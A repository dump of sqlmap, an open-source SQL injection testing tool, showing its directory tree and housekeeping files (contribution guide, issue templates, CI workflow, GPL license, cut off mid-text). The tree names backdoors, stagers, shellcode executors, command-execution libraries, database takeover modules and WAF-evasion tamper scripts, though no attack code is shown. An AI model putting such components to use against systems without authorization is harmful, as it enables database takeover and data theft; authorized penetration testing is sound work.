Repository: sqlmapproject/sqlmap Branch: master Commit: e43333242393 Files: 652 Total size: 4.2 MB Directory structure: gitextract_gly9vf9i/ ├── .gitattributes ├── .github/ │ ├── CODE_OF_CONDUCT.md │ ├── CONTRIBUTING.md │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ └── feature_request.md │ └── workflows/ │ └── tests.yml ├── .gitignore ├── LICENSE ├── README.md ├── data/ │ ├── procs/ │ │ ├── README.txt │ │ ├── mssqlserver/ │ │ │ ├── activate_sp_oacreate.sql │ │ │ ├── configure_openrowset.sql │ │ │ ├── configure_xp_cmdshell.sql │ │ │ ├── create_new_xp_cmdshell.sql │ │ │ ├── disable_xp_cmdshell_2000.sql │ │ │ ├── dns_request.sql │ │ │ ├── enable_xp_cmdshell_2000.sql │ │ │ └── run_statement_as_user.sql │ │ ├── mysql/ │ │ │ ├── dns_request.sql │ │ │ └── write_file_limit.sql │ │ ├── oracle/ │ │ │ ├── dns_request.sql │ │ │ └── read_file_export_extension.sql │ │ └── postgresql/ │ │ └── dns_request.sql │ ├── shell/ │ │ ├── README.txt │ │ ├── backdoors/ │ │ │ ├── backdoor.asp_ │ │ │ ├── backdoor.aspx_ │ │ │ ├── backdoor.cfm_ │ │ │ ├── backdoor.jsp_ │ │ │ └── backdoor.php_ │ │ └── stagers/ │ │ ├── stager.asp_ │ │ ├── stager.aspx_ │ │ ├── stager.cfm_ │ │ ├── stager.jsp_ │ │ └── stager.php_ │ ├── txt/ │ │ ├── common-columns.txt │ │ ├── common-files.txt │ │ ├── common-outputs.txt │ │ ├── common-tables.txt │ │ ├── keywords.txt │ │ ├── sha256sums.txt │ │ ├── smalldict.txt │ │ ├── user-agents.txt │ │ └── wordlist.tx_ │ ├── udf/ │ │ ├── README.txt │ │ ├── mysql/ │ │ │ ├── linux/ │ │ │ │ ├── 32/ │ │ │ │ │ └── lib_mysqludf_sys.so_ │ │ │ │ └── 64/ │ │ │ │ └── lib_mysqludf_sys.so_ │ │ │ └── windows/ │ │ │ ├── 32/ │ │ │ │ └── lib_mysqludf_sys.dll_ │ │ │ └── 64/ │ │ │ └── lib_mysqludf_sys.dll_ │ │ └── postgresql/ │ │ ├── linux/ │ │ │ ├── 32/ │ │ │ │ ├── 10/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 11/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.2/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.3/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.4/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.0/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.1/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.2/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.3/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.4/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.5/ │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ └── 9.6/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ └── 64/ │ │ │ ├── 10/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 11/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 12/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 8.2/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 8.3/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 8.4/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 9.0/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 9.1/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 9.2/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 9.3/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 9.4/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ ├── 9.5/ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ └── 9.6/ │ │ │ └── lib_postgresqludf_sys.so_ │ │ └── windows/ │ │ └── 32/ │ │ ├── 8.2/ │ │ │ └── lib_postgresqludf_sys.dll_ │ │ ├── 8.3/ │ │ │ └── lib_postgresqludf_sys.dll_ │ │ ├── 8.4/ │ │ │ └── lib_postgresqludf_sys.dll_ │ │ └── 9.0/ │ │ └── lib_postgresqludf_sys.dll_ │ └── xml/ │ ├── banner/ │ │ ├── generic.xml │ │ ├── mssql.xml │ │ ├── mysql.xml │ │ ├── oracle.xml │ │ ├── postgresql.xml │ │ ├── server.xml │ │ ├── servlet-engine.xml │ │ ├── set-cookie.xml │ │ ├── sharepoint.xml │ │ ├── x-aspnet-version.xml │ │ └── x-powered-by.xml │ ├── boundaries.xml │ ├── errors.xml │ ├── payloads/ │ │ ├── boolean_blind.xml │ │ ├── error_based.xml │ │ ├── inline_query.xml │ │ ├── stacked_queries.xml │ │ ├── time_blind.xml │ │ └── union_query.xml │ └── queries.xml ├── doc/ │ ├── AUTHORS │ ├── CHANGELOG.md │ ├── THANKS.md │ ├── THIRD-PARTY.md │ └── translations/ │ ├── README-ar-AR.md │ ├── README-bg-BG.md │ ├── README-bn-BD.md │ ├── README-ckb-KU.md │ ├── README-de-DE.md │ ├── README-es-MX.md │ ├── README-fa-IR.md │ ├── README-fr-FR.md │ ├── README-gr-GR.md │ ├── README-hr-HR.md │ ├── README-id-ID.md │ ├── README-in-HI.md │ ├── README-it-IT.md │ ├── README-ja-JP.md │ ├── README-ka-GE.md │ ├── README-ko-KR.md │ ├── README-nl-NL.md │ ├── README-pl-PL.md │ ├── README-pt-BR.md │ ├── README-rs-RS.md │ ├── README-ru-RU.md │ ├── README-sk-SK.md │ ├── README-tr-TR.md │ ├── README-uk-UA.md │ ├── README-vi-VN.md │ └── README-zh-CN.md ├── extra/ │ ├── __init__.py │ ├── beep/ │ │ ├── __init__.py │ │ └── beep.py │ ├── cloak/ │ │ ├── README.txt │ │ ├── __init__.py │ │ └── cloak.py │ ├── dbgtool/ │ │ ├── README.txt │ │ ├── __init__.py │ │ └── dbgtool.py │ ├── icmpsh/ │ │ ├── README.txt │ │ ├── __init__.py │ │ ├── icmpsh-m.c │ │ ├── icmpsh-m.pl │ │ ├── icmpsh-s.c │ │ ├── icmpsh.exe_ │ │ └── icmpsh_m.py │ ├── runcmd/ │ │ ├── README.txt │ │ ├── runcmd.exe_ │ │ └── src/ │ │ ├── README.txt │ │ ├── runcmd/ │ │ │ ├── runcmd.cpp │ │ │ ├── runcmd.vcproj │ │ │ ├── stdafx.cpp │ │ │ └── stdafx.h │ │ └── runcmd.sln │ ├── shellcodeexec/ │ │ ├── README.txt │ │ ├── linux/ │ │ │ ├── shellcodeexec.x32_ │ │ │ └── shellcodeexec.x64_ │ │ └── windows/ │ │ └── shellcodeexec.x32.exe_ │ ├── shutils/ │ │ ├── autocompletion.sh │ │ ├── blanks.sh │ │ ├── drei.sh │ │ ├── duplicates.py │ │ ├── junk.sh │ │ ├── newlines.py │ │ ├── postcommit-hook.sh │ │ ├── precommit-hook.sh │ │ ├── pycodestyle.sh │ │ ├── pydiatra.sh │ │ ├── pyflakes.sh │ │ ├── pypi.sh │ │ ├── recloak.sh │ │ └── strip.sh │ └── vulnserver/ │ ├── __init__.py │ └── vulnserver.py ├── lib/ │ ├── __init__.py │ ├── controller/ │ │ ├── __init__.py │ │ ├── action.py │ │ ├── checks.py │ │ ├── controller.py │ │ └── handler.py │ ├── core/ │ │ ├── __init__.py │ │ ├── agent.py │ │ ├── bigarray.py │ │ ├── common.py │ │ ├── compat.py │ │ ├── convert.py │ │ ├── data.py │ │ ├── datatype.py │ │ ├── decorators.py │ │ ├── defaults.py │ │ ├── dicts.py │ │ ├── dump.py │ │ ├── enums.py │ │ ├── exception.py │ │ ├── log.py │ │ ├── option.py │ │ ├── optiondict.py │ │ ├── patch.py │ │ ├── profiling.py │ │ ├── readlineng.py │ │ ├── replication.py │ │ ├── revision.py │ │ ├── session.py │ │ ├── settings.py │ │ ├── shell.py │ │ ├── subprocessng.py │ │ ├── target.py │ │ ├── testing.py │ │ ├── threads.py │ │ ├── unescaper.py │ │ ├── update.py │ │ └── wordlist.py │ ├── parse/ │ │ ├── __init__.py │ │ ├── banner.py │ │ ├── cmdline.py │ │ ├── configfile.py │ │ ├── handler.py │ │ ├── headers.py │ │ ├── html.py │ │ ├── payloads.py │ │ └── sitemap.py │ ├── request/ │ │ ├── __init__.py │ │ ├── basic.py │ │ ├── basicauthhandler.py │ │ ├── chunkedhandler.py │ │ ├── comparison.py │ │ ├── connect.py │ │ ├── direct.py │ │ ├── dns.py │ │ ├── httpshandler.py │ │ ├── inject.py │ │ ├── methodrequest.py │ │ ├── pkihandler.py │ │ ├── rangehandler.py │ │ ├── redirecthandler.py │ │ └── templates.py │ ├── takeover/ │ │ ├── __init__.py │ │ ├── abstraction.py │ │ ├── icmpsh.py │ │ ├── metasploit.py │ │ ├── registry.py │ │ ├── udf.py │ │ ├── web.py │ │ └── xp_cmdshell.py │ ├── techniques/ │ │ ├── __init__.py │ │ ├── blind/ │ │ │ ├── __init__.py │ │ │ └── inference.py │ │ ├── dns/ │ │ │ ├── __init__.py │ │ │ ├── test.py │ │ │ └── use.py │ │ ├── error/ │ │ │ ├── __init__.py │ │ │ └── use.py │ │ └── union/ │ │ ├── __init__.py │ │ ├── test.py │ │ └── use.py │ └── utils/ │ ├── __init__.py │ ├── api.py │ ├── brute.py │ ├── crawler.py │ ├── deps.py │ ├── getch.py │ ├── gui.py │ ├── har.py │ ├── hash.py │ ├── hashdb.py │ ├── pivotdumptable.py │ ├── progress.py │ ├── purge.py │ ├── safe2bin.py │ ├── search.py │ ├── sgmllib.py │ ├── sqlalchemy.py │ ├── timeout.py │ ├── tui.py │ ├── versioncheck.py │ └── xrange.py ├── plugins/ │ ├── __init__.py │ ├── dbms/ │ │ ├── __init__.py │ │ ├── access/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── altibase/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cache/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── clickhouse/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cratedb/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cubrid/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── db2/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── derby/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── extremedb/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── firebird/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── frontbase/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── h2/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── hsqldb/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── informix/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── maxdb/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mckoi/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mimersql/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── monetdb/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mssqlserver/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mysql/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── oracle/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── postgresql/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── presto/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── raima/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── snowflake/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── spanner/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── sqlite/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── sybase/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── vertica/ │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ └── virtuoso/ │ │ ├── __init__.py │ │ ├── connector.py │ │ ├── enumeration.py │ │ ├── filesystem.py │ │ ├── fingerprint.py │ │ ├── syntax.py │ │ └── takeover.py │ └── generic/ │ ├── __init__.py │ ├── connector.py │ ├── custom.py │ ├── databases.py │ ├── entries.py │ ├── enumeration.py │ ├── filesystem.py │ ├── fingerprint.py │ ├── misc.py │ ├── search.py │ ├── syntax.py │ ├── takeover.py │ └── users.py ├── sqlmap.conf ├── sqlmap.py ├── sqlmapapi.py ├── sqlmapapi.yaml ├── tamper/ │ ├── 0eunion.py │ ├── __init__.py │ ├── apostrophemask.py │ ├── apostrophenullencode.py │ ├── appendnullbyte.py │ ├── base64encode.py │ ├── between.py │ ├── binary.py │ ├── bluecoat.py │ ├── chardoubleencode.py │ ├── charencode.py │ ├── charunicodeencode.py │ ├── charunicodeescape.py │ ├── commalesslimit.py │ ├── commalessmid.py │ ├── commentbeforeparentheses.py │ ├── concat2concatws.py │ ├── decentities.py │ ├── dunion.py │ ├── equaltolike.py │ ├── equaltorlike.py │ ├── escapequotes.py │ ├── greatest.py │ ├── halfversionedmorekeywords.py │ ├── hex2char.py │ ├── hexentities.py │ ├── htmlencode.py │ ├── if2case.py │ ├── ifnull2casewhenisnull.py │ ├── ifnull2ifisnull.py │ ├── informationschemacomment.py │ ├── least.py │ ├── lowercase.py │ ├── luanginx.py │ ├── luanginxmore.py │ ├── misunion.py │ ├── modsecurityversioned.py │ ├── modsecurityzeroversioned.py │ ├── multiplespaces.py │ ├── ord2ascii.py │ ├── overlongutf8.py │ ├── overlongutf8more.py │ ├── percentage.py │ ├── plus2concat.py │ ├── plus2fnconcat.py │ ├── randomcase.py │ ├── randomcomments.py │ ├── schemasplit.py │ ├── scientific.py │ ├── sleep2getlock.py │ ├── sp_password.py │ ├── space2comment.py │ ├── space2dash.py │ ├── space2hash.py │ ├── space2morecomment.py │ ├── space2morehash.py │ ├── space2mssqlblank.py │ ├── space2mssqlhash.py │ ├── space2mysqlblank.py │ ├── space2mysqldash.py │ ├── space2plus.py │ ├── space2randomblank.py │ ├── substring2leftright.py │ ├── symboliclogical.py │ ├── unionalltounion.py │ ├── unmagicquotes.py │ ├── uppercase.py │ ├── varnish.py │ ├── versionedkeywords.py │ ├── versionedmorekeywords.py │ └── xforwardedfor.py └── thirdparty/ ├── __init__.py ├── ansistrm/ │ ├── __init__.py │ └── ansistrm.py ├── beautifulsoup/ │ ├── __init__.py │ └── beautifulsoup.py ├── bottle/ │ ├── __init__.py │ └── bottle.py ├── chardet/ │ ├── __init__.py │ ├── big5freq.py │ ├── big5prober.py │ ├── chardistribution.py │ ├── charsetgroupprober.py │ ├── charsetprober.py │ ├── codingstatemachine.py │ ├── compat.py │ ├── cp949prober.py │ ├── enums.py │ ├── escprober.py │ ├── escsm.py │ ├── eucjpprober.py │ ├── euckrfreq.py │ ├── euckrprober.py │ ├── euctwfreq.py │ ├── euctwprober.py │ ├── gb2312freq.py │ ├── gb2312prober.py │ ├── hebrewprober.py │ ├── jisfreq.py │ ├── jpcntx.py │ ├── langbulgarianmodel.py │ ├── langcyrillicmodel.py │ ├── langgreekmodel.py │ ├── langhebrewmodel.py │ ├── langhungarianmodel.py │ ├── langthaimodel.py │ ├── langturkishmodel.py │ ├── latin1prober.py │ ├── mbcharsetprober.py │ ├── mbcsgroupprober.py │ ├── mbcssm.py │ ├── sbcharsetprober.py │ ├── sbcsgroupprober.py │ ├── sjisprober.py │ ├── universaldetector.py │ ├── utf8prober.py │ └── version.py ├── clientform/ │ ├── __init__.py │ └── clientform.py ├── colorama/ │ ├── __init__.py │ ├── ansi.py │ ├── ansitowin32.py │ ├── initialise.py │ ├── win32.py │ └── winterm.py ├── fcrypt/ │ ├── __init__.py │ └── fcrypt.py ├── identywaf/ │ ├── LICENSE │ ├── __init__.py │ ├── data.json │ └── identYwaf.py ├── keepalive/ │ ├── __init__.py │ └── keepalive.py ├── magic/ │ ├── __init__.py │ └── magic.py ├── multipart/ │ ├── __init__.py │ └── multipartpost.py ├── odict/ │ ├── __init__.py │ └── ordereddict.py ├── pydes/ │ ├── __init__.py │ └── pyDes.py ├── six/ │ └── __init__.py ├── socks/ │ ├── LICENSE │ ├── __init__.py │ └── socks.py ├── termcolor/ │ ├── __init__.py │ └── termcolor.py └── wininetpton/ ├── __init__.py └── win_inet_pton.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ *.conf text eol=lf *.json text eol=lf *.html text eol=lf *.md text eol=lf *.md5 text eol=lf *.pl text eol=lf *.py text eol=lf *.sh text eol=lf *.sql text eol=lf *.txt text eol=lf *.xml text eol=lf *.yaml text eol=lf *.yml text eol=lf LICENSE text eol=lf COMMITMENT text eol=lf *_ binary *.dll binary *.pdf binary *.so binary *.wav binary *.zip binary *.x32 binary *.x64 binary *.exe binary *.sln binary *.vcproj binary ================================================ FILE: .github/CODE_OF_CONDUCT.md ================================================ # Code of Conduct ## Our Goal The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration. ## Standards Contributors are expected to: * Be respectful and professional in all communications. * Focus on the technical merits of the project. * Gracefully accept constructive criticism. Unacceptable behavior includes: * Harassment, personal attacks, or doxxing. * Any behavior that disrupts the technical progress of the project. ## Enforcement The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `dev@sqlmap.org`. ================================================ FILE: .github/CONTRIBUTING.md ================================================ # Contributing to sqlmap ## Reporting bugs **Bug reports are welcome**! Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). ### Guidelines * Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. * Make sure you can reproduce the bug with the latest development version of sqlmap. * Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. * If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* ## Submitting code changes All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! ### Guidelines In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: * Each patch should make one logical change. * Avoid tabbing, use four blank spaces instead. * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). * Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. * Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. * Style that is too different from main branch will be ''adapted'' by the developers side. * Do not touch anything inside `thirdparty/` and `extra/` folders. ### Licensing By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. ================================================ FILE: .github/FUNDING.yml ================================================ github: sqlmapproject ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug report about: Create a report to help us improve title: '' labels: bug report assignees: '' --- **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** 1. Run '...' 2. See error **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Running environment:** - sqlmap version [e.g. 1.7.2.12#dev] - Installation method [e.g. pip] - Operating system: [e.g. Microsoft Windows 11] - Python version [e.g. 3.11.2] **Target details:** - DBMS [e.g. Microsoft SQL Server] - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind] - WAF/IPS [if any] - Relevant console output [if any] - Exception traceback [if any] **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.md ================================================ --- name: Feature request about: Suggest an idea for this project title: '' labels: feature request assignees: '' --- **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] **Describe the solution you'd like** A clear and concise description of what you want to happen. **Describe alternatives you've considered** A clear and concise description of any alternative solutions or features you've considered. **Additional context** Add any other context or screenshots about the feature request here. ================================================ FILE: .github/workflows/tests.yml ================================================ on: push: branches: [ master ] pull_request: branches: [ master ] jobs: build: runs-on: ${{ matrix.os }} strategy: matrix: include: - os: ubuntu-latest python-version: "pypy-2.7" - os: macos-latest python-version: "3.8" - os: windows-latest python-version: "3.14" steps: - name: Checkout code uses: actions/checkout@v4 with: fetch-depth: 1 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" - name: Smoke test run: python sqlmap.py --smoke - name: Vuln test run: python sqlmap.py --vuln ================================================ FILE: .gitignore ================================================ output/ __pycache__/ *.py[cod] .sqlmap_history traffic.txt *~ req*.txt .idea/ .aider* ================================================ FILE: LICENSE ================================================ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 (or later) with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses (contact sales@sqlmap.org). Note that the GPL places important restrictions on "derived works", yet it does not provide a detailed definition of that term. To avoid misunderstandings, we interpret that term as broadly as copyright law allows. For example, we consider an application to constitute a "derived work" for the purpose of this license if it does any of the following: * Integrates source code from sqlmap. * Reads or includes sqlmap copyrighted data files, such as xml/queries.xml * Executes sqlmap and parses the results (as opposed to typical shell or execution-menu apps, which simply display raw sqlmap output and so are not derivative works). * Integrates/includes/aggregates sqlmap into a proprietary executable installer, such as those produced by InstallShield. * Links to a library or executes a program that does any of the above The term "sqlmap" should be taken to also include any portions or derived works of sqlmap. This list is not exclusive, but is meant to clarify our interpretation of derived works with some common examples. Our interpretation applies only to sqlmap - we do not speak for other people's GPL works. This license does not apply to the third-party components. More details can be found inside the file 'doc/THIRD-PARTY.md'. If you have any questions about the GPL licensing restrictions on using sqlmap in non-GPL works, we would be happy to help. As mentioned above, we also offer alternative license to integrate sqlmap into proprietary applications and appliances. If you received these files with a written license agreement or contract stating terms other than the terms above, then that alternative license agreement takes precedence over these comments. Source is provided to this software because we believe users have a right to know exactly what a program is going to do before they run it. Source code also allows you to fix bugs and add new features. You are highly encouraged to send your changes to dev@sqlmap.org for possible incorporation into the main distribution. By sending these changes to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap project the unlimited, non-exclusive right to reuse, modify, and relicense the code. sqlmap will always be available Open Source, but this is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License v2.0 for more details at http://www.gnu.org/licenses/gpl-2.0.html, or below **************************************************************************** GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute 